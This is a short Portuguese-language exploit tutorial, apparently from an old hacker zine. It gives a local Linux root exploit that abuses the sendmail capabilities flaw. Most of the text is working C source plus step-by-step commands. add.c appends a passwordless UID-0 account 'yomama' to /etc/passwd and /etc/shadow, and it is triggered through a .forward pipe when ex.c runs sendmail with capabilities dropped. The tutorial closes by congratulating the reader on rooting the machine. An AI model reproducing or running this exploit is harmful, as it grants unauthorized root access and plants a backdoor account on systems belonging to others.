Bom, para ter sucesso basta ter uma conta no sistema. Portanto nao se pode obter
permissoes de r00t remotamente usando esta tecnica.

Vamos ao que interessa. Envie por ftp os arquivos:

<++> sendmail/ex.c
#include <linux/capability.h>

int main (void) {
cap_user_header_t header;
cap_user_data_t data;

header = malloc(8);
data = malloc(12);

header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;

data->inheritable = data->effective = data->permitted = 0;
capset(header, data);

execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}
<-->
<++> sendmail/add.c
#include <fcntl.h>

int main (void) {
int fd;
char string[40];

seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "yomama::11029:0:99999:7:::");
write(fd, string, strlen(string));
close(fd);

}
<-->
<++> sendmail/mail
From: [email protected]
To: [email protected]
Subject: foo
bar
.
<-->
<++> sendmail/.forward
|./add
<-->

Detalhe: esses arquivos devem ficar no diretorio do usuario.
Pronto, depois dos arquivo enviados, logue no sistema e compile o ex.c e o
add.c.

# gcc -o add add.c
# gcc -o ex ex.c

Agora faca o seguinte:

# ./ex < mail
# su yomama

Voce r00teou a maquina!!